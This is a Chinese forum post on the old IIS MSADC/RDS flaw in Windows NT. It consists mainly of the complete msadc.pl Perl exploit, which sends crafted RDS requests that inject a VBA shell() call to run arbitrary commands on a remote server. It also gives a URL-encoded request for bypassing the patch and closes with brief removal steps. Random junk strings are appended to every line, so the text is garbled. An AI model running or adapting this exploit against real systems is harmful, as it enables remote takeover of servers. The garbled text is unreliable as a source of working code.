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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) [?x9NQ{  
/tl/%:U*.  
涉及程序: 1RM;"b/  
Microsoft NT server vA@Kb3 ,  
Yq}7x1mm  
描述: [H;HrwM s)  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 JIvVbI  
e `zEsLs@  
详细: 3dfG_a61y  
如果你没有时间读详细内容的话,就删除: qb(#{Sw0  
c:\Program Files\Common Files\System\Msadc\msadcs.dll t5mI)u  
有关的安全问题就没有了。 Os^sOOSY  
\s?OvqI:  
微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 V2sWcV?  
!Rk1q&U5  
1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 y ,isK  
关于利用ODBC远程漏洞的描述,请参看: `l@[8H%aw  
"r @RDw   
http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm r/1:!Vu(  
gS4zX>rqe  
2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 A`<#}~A  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp PxzeN6f  
(RG\U[  
这里不再论述。 95B w;U3E  
1}#v<b$  
3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: @?iLz7SPk  
P7QOlTQI  
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset n={} ='  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! \kcJF'JFA0  
z_R^n#A~r  
JL $6Fw;  
#将下面这段保存为txt文件,然后: "perl -x 文件名" fpf1^ TZ  
LSb3w/3M  
#!perl Pc >$[kT0  
# r) Ts(#Z  
# MSADC/RDS 'usage' (aka exploit) script }Uki)3(  
# r|4jR6%<'m  
# by rain.forest.puppy BM=`zGh"  
# `?LQd2p  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me ta"/R@ k*  
# beta test and find errors! SY|r'8Z%Q  
qJ|ByZ.N+  
use Socket; use Getopt::Std; [1B F8:  
getopts("e:vd:h:XR", \%args); J9S9r ir&  
W"S,~y  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; &[,g `S0  
UfjLNe}wA  
if (!defined $args{h} && !defined $args{R}) { ;~T)pG8IS  
print qq~ j} XTa[  
Usage: msadc.pl -h <host> { -d <delay> -X -v } Q1EY!AV8  
-h <host> = host you want to scan (ip or domain) #%z--xuJL  
-d <seconds> = delay between calls, default 1 second #Z<pks2 y  
-X = dump Index Server path table, if available D 7 l&L  
-v = verbose L>+g;GJ  
-e = external dictionary file for step 5 rt$z&#M  
B%gk[!d}8  
Or a -R will resume a command session ='u'/g$'&  
ha  
~; exit;} %Q5D#d"p`  
75i M_e\  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; i@e.Uzn  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} /*p4(D_A  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} d,[.=Jqv[  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); ^-{ 1]G:  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} hPr*<2mp  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } Sxf|gDC  
!e@G[%k  
if (!defined $args{R}){ $ret = &has_msadc; rubqk4  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} }'$6EgX  
GlP [:  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" S_LY>k?  
. "cmd /c "; vb/*ILS  
$in=<STDIN>; chomp $in; G~_5E]8  
$command="cmd /c " . $in ; HVz-i{M  
F48:mfj1r  
if (defined $args{R}) {&load; exit;} :p@H  
MbLG8T:y  
print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; u_.V]Rjc  
&try_btcustmr; vLR)B@O,2  
vE/g{~[5  
print "\nStep 2: Trying to make our own DSN..."; y@]4xLB]  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; sN|-V+7&j  
>C"cv^%c  
print "\nStep 3: Trying known DSNs..."; ;OQ-T+(T  
&known_dsn; d='z^vHK  
piJ/e  
print "\nStep 4: Trying known .mdbs..."; vW]Frb  
&known_mdb; 1Uz'= a  
}<7Dyn,  
if (defined $args{e}){ hKtOh  
print "\nStep 5: Trying dictionary of DSN names..."; *E0+!  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } hR b k-b  
x={t}qDS8  
print "Sorry Charley...maybe next time?\n"; Q_QmyD~m  
exit; Y<3s_  
]*j>yj.Y'~  
############################################################################## ,'5P[-  
?15k~1nA  
sub sendraw { # ripped and modded from whisker /b6Y~YbgU  
sleep($delay); # it's a DoS on the server! At least on mine... TFbCJ@X  
my ($pstr)=@_; &<@ { d  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || AKx\U?ei7  
die("Socket problems\n"); rMxst  
if(connect(S,pack "SnA4x8",2,80,$target)){ ?"+' OOqik  
select(S); $|=1; 8F($RnP3  
print $pstr; my @in=<S>; Lv,~Mf1|  
select(STDOUT); close(S); JfKhYRl  
return @in; z/ T|  
} else { die("Can't connect...\n"); }} _tL+39 u  
Cvm ZW$5Yo  
############################################################################## &=|W95  
+A W6 >yV`  
sub make_header { # make the HTTP request ?# >|P-4  
my $msadc=<<EOT ~c ;7me.  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 m hJ>5z  
User-Agent: ACTIVEDATA J&^r}6D  
Host: $ip pTUsdao^,  
Content-Length: $clen 1mOZ\L!m*  
Connection: Keep-Alive o"[P++qd  
nhk +9  
ADCClientVersion:01.06 Q !5Tw  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 NF0IF#;a  
7qon:]b4  
--!ADM!ROX!YOUR!WORLD! ERL(>)  
Content-Type: application/x-varg X ~4^$x  
Content-Length: $reqlen v3S{dX<  
gv `jeN  
EOT GEA@AD=^f  
; $msadc=~s/\n/\r\n/g; x)G/YUv76  
return $msadc;} L3Ry#uw  
*Dh.'bB!  
############################################################################## L"zOa90ig  
b9EJLD  
sub make_req { # make the RDS request ;Iw'TF   
my ($switch, $p1, $p2)=@_; ec1snMY  
my $req=""; my $t1, $t2, $query, $dsn; 8v1asFxs.  
]gTa TY  
if ($switch==1){ # this is the btcustmr.mdb query )_+"  
$query="Select * from Customers where City=" . make_shell(); j='Ne5X1  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .  _+|*  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} fouy??  
'7>Vmr 6  
elsif ($switch==2){ # this is general make table query QC4_\V>[  
$query="create table AZZ (B int, C varchar(10))"; tt|U,o  
$dsn="$p1";} AEPgQ9#E  
1>a^Q  
elsif ($switch==3){ # this is general exploit table query ;}f%bE  
$query="select * from AZZ where C=" . make_shell(); -2> L*"^  
$dsn="$p1";} cWFvYF  
( 4ow0}1  
elsif ($switch==4){ # attempt to hork file info from index server G2a fHL<  
$query="select path from scope()"; FD|R4 V*3  
$dsn="Provider=MSIDXS;";} GD[~4G  
:KX/`   
elsif ($switch==5){ # bad query XIBw&mWf  
$query="select"; zF)_t S  
$dsn="$p1";} m>:%[vm  
ddnWr"_  
$t1= make_unicode($query); }C" #b\A2  
$t2= make_unicode($dsn); 5 F^,7A4I0  
$req = "\x02\x00\x03\x00"; NWCnt,FlY  
$req.= "\x08\x00" . pack ("S1", length($t1)); l[ @\!;|  
$req.= "\x00\x00" . $t1 ; iCAd7=o  
$req.= "\x08\x00" . pack ("S1", length($t2)); XF^c(*5  
$req.= "\x00\x00" . $t2 ; ys+?+dY2  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; #l;Ekjfz  
return $req;} 6ap,XFRMh  
z@~1e]%  
############################################################################## < ]wN/B-8J  
/unOZVr(  
sub make_shell { # this makes the shell() statement Q2 rZMK  
return "'|shell(\"$command\")|'";} m 7 Fz&bN  
)QBsyN<x6  
############################################################################## *tRJ=  
apY m,_  
sub make_unicode { # quick little function to convert to unicode u8o7J(aQsR  
my ($in)=@_; my $out; 9\Xl 3j!  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } q<hN\kBs  
return $out;} sE/9~L  
Pv1psKu  
############################################################################## Y%=A>~s*c:  
{B\.8)&8  
sub rdo_success { # checks for RDO return success (this is kludge) lq.0?(  
my (@in) = @_; my $base=content_start(@in); gLpWfT29V  
if($in[$base]=~/multipart\/mixed/){ oR-_=U^  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} *D<sk7  
return 0;} *ac#wEd  
"X]u fZ7  
############################################################################## cz T@txF  
3\(s=- vh  
sub make_dsn { # this makes a DSN for us DdSUB  
my @drives=("c","d","e","f"); ,E>VYkoA  
print "\nMaking DSN: "; '6/uc:zv  
foreach $drive (@drives) { F`u{'w:Hv  
print "$drive: "; Nc"h8p?  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . zkd#vAY(A  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" o9~qJnB/O  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); p19Zxh  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; Q'|cOQX  
return 0 if $2 eq "404"; # not found/doesn't exist 6B+ @76wH  
if($2 eq "200") { e<C5}#wt  
foreach $line (@results) { +5({~2Lzvp  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} +Nza@B d  
} return 0;} J,~)9Kh$  
5#d(_  
############################################################################## Me`"@{r|#  
CZa9hsM  
sub verify_exists { p}Gk|Kjlq,  
my ($page)=@_; tICxAp:  
my @results=sendraw("GET $page HTTP/1.0\n\n"); '[juPI(!  
return $results[0];} eq@ v2o7  
a"EQldm|d  
############################################################################## "QlCcH`g  
u!@P,,NY  
sub try_btcustmr { D8dTw{C  
my @drives=("c","d","e","f"); C#r`oZS1  
my @dirs=("winnt","winnt35","winnt351","win","windows"); J]~fv9~P  
C$(t`G  
foreach $dir (@dirs) { 6*LU+U=`  
print "$dir -> "; # fun status so you can see progress qq?>ulu*W  
foreach $drive (@drives) { }40/GWp<f  
print "$drive: "; # ditto _c(=>  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; '<}7bw}+c  
$reqlenlen=length( "$reqlen" ); !^LvNW\|  
$clen= 206 + $reqlenlen + $reqlen; L,D!T&B  
kfVG@o?o  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); Tbwq_3f K  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} n >eIQaV  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} +}Q4 g]M8  
c:$:j,i}  
############################################################################## .xk<7^ZD  
oVhw2pKpM  
sub odbc_error { 4sJx_Qi  
my (@in)=@_; my $base; Y^!40XjrD  
my $base = content_start(@in); 9iOlR=-*  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this L;`4"  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; H?~u%b@   
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; @qe>ph[UA  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; 43)9iDmJ8<  
return $in[$base+4].$in[$base+5].$in[$base+6];} )RkU='lB "  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; yNT2kB'  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . _cJ{fYwYU  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} E8j9@BHU[r  
i ;tA<-$-  
############################################################################## 3jn@ [ m  
xUw\Y(!  
sub verbose { -w2g a1  
my ($in)=@_; tEEhSG)s%  
return if !$verbose; KW;xlJz(j  
print STDOUT "\n$in\n";} a-} %R  
54;iLL  
############################################################################## |knP  
:^*V[77  
sub save { RSi0IfG5  
my ($p1, $p2, $p3, $p4)=@_; y k5P/H)  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; y,r`8  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; ,,Db:4qfjD  
close OUT;} U'lD|R,g  
,yqzk.  
############################################################################## 0F3>kp4u  
I{AU,  
sub load { i&3 0n#  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; 1Efl|lV  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); "p; DQ-V  
@p=<IN>; close(IN); !'gz&3B~h  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); "''<:K|  
$target= inet_aton($ip) || die("inet_aton problems"); m0* B[  
print "Resuming to $ip ..."; Y5NbY02E  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; TZP{=v<  
if($p[1]==1) { mQvKreo~  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; |{jAMC0#  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; \I'Zc]  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); `kv$B3  
if (rdo_success(@results)){print "Success!\n";} %zD-gw>  
else { print "failed\n"; verbose(odbc_error(@results));}} UxvsSHi  
elsif ($p[1]==3){ b(yO  
if(run_query("$p[3]")){ KALg6DZe:  
print "Success!\n";} else { print "failed\n"; }} Gu}x+hG  
elsif ($p[1]==4){ 5HIpoj;\(  
if(run_query($drvst . "$p[3]")){ b mm@oi  
print "Success!\n"; } else { print "failed\n"; }} 6m" 75  
exit;} _9@?Th&_e  
 bSR<d  
############################################################################## [s34N+vU  
0B4(t6o  
sub create_table { Hb+#*42v  
my ($in)=@_; Wu4Nq+  
$reqlen=length( make_req(2,$in,"") ) - 28; "[?/I3 {E  
$reqlenlen=length( "$reqlen" ); ?xo,)``  
$clen= 206 + $reqlenlen + $reqlen; i]-gO  
my @results=sendraw(make_header() . make_req(2,$in,"")); F^NR qE  
return 1 if rdo_success(@results); ZYt __N  
my $temp= odbc_error(@results); verbose($temp); <D dHP  
return 1 if $temp=~/Table 'AZZ' already exists/; 0V#t ;`Q3  
return 0;} 7, 13g)  
u`'z~N4}  
############################################################################## }H#t( 9,U  
#rpqt{m l  
sub known_dsn { eq+o_R}CS  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go -Wn.@bz6B  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", '*XNgvX  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", {^kG<v.vV  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); QO7:iSZJ  
by U\I5  
foreach $dSn (@dsns) { iXm||?Rnx  
print "."; ^0|NmMJ]  
next if (!is_access("DSN=$dSn")); IeB6r+4|  
if(create_table("DSN=$dSn")){ NslA/"*  
print "$dSn successful\n"; m3(T0.j0P  
if(run_query("DSN=$dSn")){ -n *>zGc  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { :]^P ^khK  
print "Something's borked. Use verbose next time\n";}}} print "\n";} 9sCk\`n  
8$v7|S6 z  
############################################################################## WDGGT .hG  
;F""}wzn  
sub is_access { D;I`k L  
my ($in)=@_; yUW&Wgc=:  
$reqlen=length( make_req(5,$in,"") ) - 28; 9f^PR|F  
$reqlenlen=length( "$reqlen" ); Inc:t_  
$clen= 206 + $reqlenlen + $reqlen; &a=e=nR5  
my @results=sendraw(make_header() . make_req(5,$in,"")); 7ILa H|eN  
my $temp= odbc_error(@results); |{PJT#W%  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); J4}\V$ysN  
return 0;} ij i.3-  
<s >/< kW:  
############################################################################## [/Z'OV"tU  
`,Nn4  
sub run_query { LZ)m](+M  
my ($in)=@_; oe |e+  
$reqlen=length( make_req(3,$in,"") ) - 28; iHn!KV  
$reqlenlen=length( "$reqlen" ); 0c61q Q6  
$clen= 206 + $reqlenlen + $reqlen; f 4I#a&DO  
my @results=sendraw(make_header() . make_req(3,$in,"")); mrC+J*  
return 1 if rdo_success(@results); @6co\.bv  
my $temp= odbc_error(@results); verbose($temp); ]kkBgjQbS  
return 0;} 8KtgSash  
z>33O5U  
############################################################################## +w.Kv ;  
_qeuVi=A  
sub known_mdb { VMIX$#  
my @drives=("c","d","e","f","g"); 9I\3T6&tr  
my @dirs=("winnt","winnt35","winnt351","win","windows"); !1'-'Q@f  
my $dir, $drive, $mdb; R2O.}!'  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; a9Fm Y`  
iEviH>b5  
# this is sparse, because I don't know of many paNw5] -  
my @sysmdbs=( "\\catroot\\icatalog.mdb", 2rCY&8  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", kr(<Y|  
"\\system32\\certmdb.mdb", B`B%:#  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% {* j^g6;  
`f+8WPJPZ  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", r^A#[-VyNP  
"\\cfusion\\cfapps\\forums\\forums_.mdb", = b<<5N s  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", N4H+_g|  
"\\cfusion\\cfapps\\security\\realm_.mdb", Yc82vSG'  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", WYC1rfd=  
"\\cfusion\\database\\cfexamples.mdb", R==cz^#  
"\\cfusion\\database\\cfsnippets.mdb", Ejms)JK+  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", I\upnEKKzZ  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", vA;F]epr!  
"\\cfusion\\brighttiger\\database\\cleam.mdb", ~$4.Mf,u  
"\\cfusion\\database\\smpolicy.mdb", aGe(vQPi9  
"\\cfusion\\database\cypress.mdb", q[7d7i/r6  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", `8(h,aj;  
"\\website\\cgi-win\\dbsample.mdb", o? i.v0@!K  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", v] T(z L|  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" Yxd{&47  
); #these are just 'dc+M9u)_q  
foreach $drive (@drives) { Q*:h/Lhb&  
foreach $dir (@dirs){ )4~sQ^}  
foreach $mdb (@sysmdbs) { VS9]p o>=  
print "."; XalJo@%-  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ 9c6GYWIFt&  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; h ??C4z  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ A!{.|x[S44  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; Y#lk!#\Y  
} else { print "Something's borked. Use verbose next time\n"; }}}}} GwQZf|  
O<1vSav!K  
foreach $drive (@drives) { ~zxwg+:QO  
foreach $mdb (@mdbs) { ``$%L=_m  
print "."; M%&A.j[  
if(create_table($drv . $drive . $dir . $mdb)){ a_{io`h3&  
print "\n" . $drive . $dir . $mdb . " successful\n"; 0TO_1 0D  
if(run_query($drv . $drive . $dir . $mdb)){ xegQRc  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; fJWxJSdi  
} else { print "Something's borked. Use verbose next time\n"; }}}} rg5]`-!=  
} R3j#WgltP  
m-ph}  
############################################################################## 0\'Q&oTo  
vx!::V7s6  
sub hork_idx { WQ[}&kY~  
print "\nAttempting to dump Index Server tables...\n"; +_X,uvR  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; #Pu@Wx  
$reqlen=length( make_req(4,"","") ) - 28; A U)1vx(\w  
$reqlenlen=length( "$reqlen" ); %{7_E*I@n  
$clen= 206 + $reqlenlen + $reqlen; F gWkcV6B  
my @results=sendraw2(make_header() . make_req(4,"","")); 0+}EA[  
if (rdo_success(@results)){ KQ4kZN  
my $max=@results; my $c; my %d; Pr5g6I'G   
for($c=19; $c<$max; $c++){ ]3t1=+  
$results[$c]=~s/\x00//g; x}?DkFuxb  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; >gk z4.*  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; dG\U)WA(p  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; ]<kupaRQ  
$d{"$1$2"}="";} 1E5a(  
foreach $c (keys %d){ print "$c\n"; } "x(>Sj\%I  
} else {print "Index server doesn't seem to be installed.\n"; }} O3kg  
~h)@e\Kc  
############################################################################## 6?V<BgCC  
a)!![X?\  
sub dsn_dict { 9- xlvU,o  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); B;Xoa,  
while(<IN>){ I tI0x  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; +@emX$cFV  
next if (!is_access("DSN=$dSn")); /m `}f]u  
if(create_table("DSN=$dSn")){ ;)(Sdf[P  
print "$dSn successful\n"; e1 x^PT  
if(run_query("DSN=$dSn")){ `^7:7Wr]=  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { wMb)6YZs  
print "Something's borked. Use verbose next time\n";}}} -t8hi+NK  
print "\n"; close(IN);} erx 5j\  
~;M)qR?]W  
############################################################################## gjj 93  
D|@bGN  
sub sendraw2 { # ripped and modded from whisker T'ED$}N>~  
sleep($delay); # it's a DoS on the server! At least on mine... ;n`R\NO9  
my ($pstr)=@_; 3 p/b  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || "]VDY)  
die("Socket problems\n"); gi6g"~%@q1  
if(connect(S,pack "SnA4x8",2,80,$target)){ Deg!<[Nw  
print "Connected. Getting data"; ^WE4*.(  
open(OUT,">raw.out"); my @in; +|y*}bG  
select(S); $|=1; print $pstr; |K L')&"  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} XE_ir Et  
close(OUT); select(STDOUT); close(S); return @in; NO-k-  
} else { die("Can't connect...\n"); }} CSMeSPOm]  
,E\h!/X  
############################################################################## OT%0{2c"]  
C5P$ &s\  
sub content_start { # this will take in the server headers w8O" =},  
my (@in)=@_; my $c; IY=/` g  
for ($c=1;$c<500;$c++) { AXwaVLEBQ  
if($in[$c] =~/^\x0d\x0a/){ NS`07#z^  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } n(g)UNx  
else { return $c+1; }}} T~BA)![  
return -1;} # it should never get here actually YT>KJ  
z{S:X:X  
############################################################################## L7'%;?Z  
UMV)wy|j  
sub funky { @;vNX*-J  
my (@in)=@_; my $error=odbc_error(@in); z{9=1XY  
if($error=~/ADO could not find the specified provider/){ X1+ wX`f  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; :Sr?6FPc  
exit;} WRW WskP  
if($error=~/A Handler is required/){ 4&QUh+F  
print "\nServer has custom handler filters (they most likely are patched)\n"; bEm7QgV{X  
exit;} @@I7$*  
if($error=~/specified Handler has denied Access/){ s~*}0-lS  
print "\nServer has custom handler filters (they most likely are patched)\n"; 9Ycn0  
exit;}} xJ{_qP  
vY6oV jM  
############################################################################## XZ`:wmc|  
3jjMY  
sub has_msadc { r-}-C!  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); 0}{'C5  
my $base=content_start(@results); 7 8Vcu'j&_  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); {( #zcK  
return 0;} bu>qsU3  
$B;_Jo\|  
######################## EIjI!0j  
 MJ`N,E[  
$9 +YNgW>  
解决方案: &-%>q B|*  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll ~ 3^='o  
2、移除web 目录: /msadc
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只看该作者 1 发表于: 2006-06-30
很老的一篇文章 {o0qUX>[  
9T7e\<8"vC  
拿出来充数 哈哈
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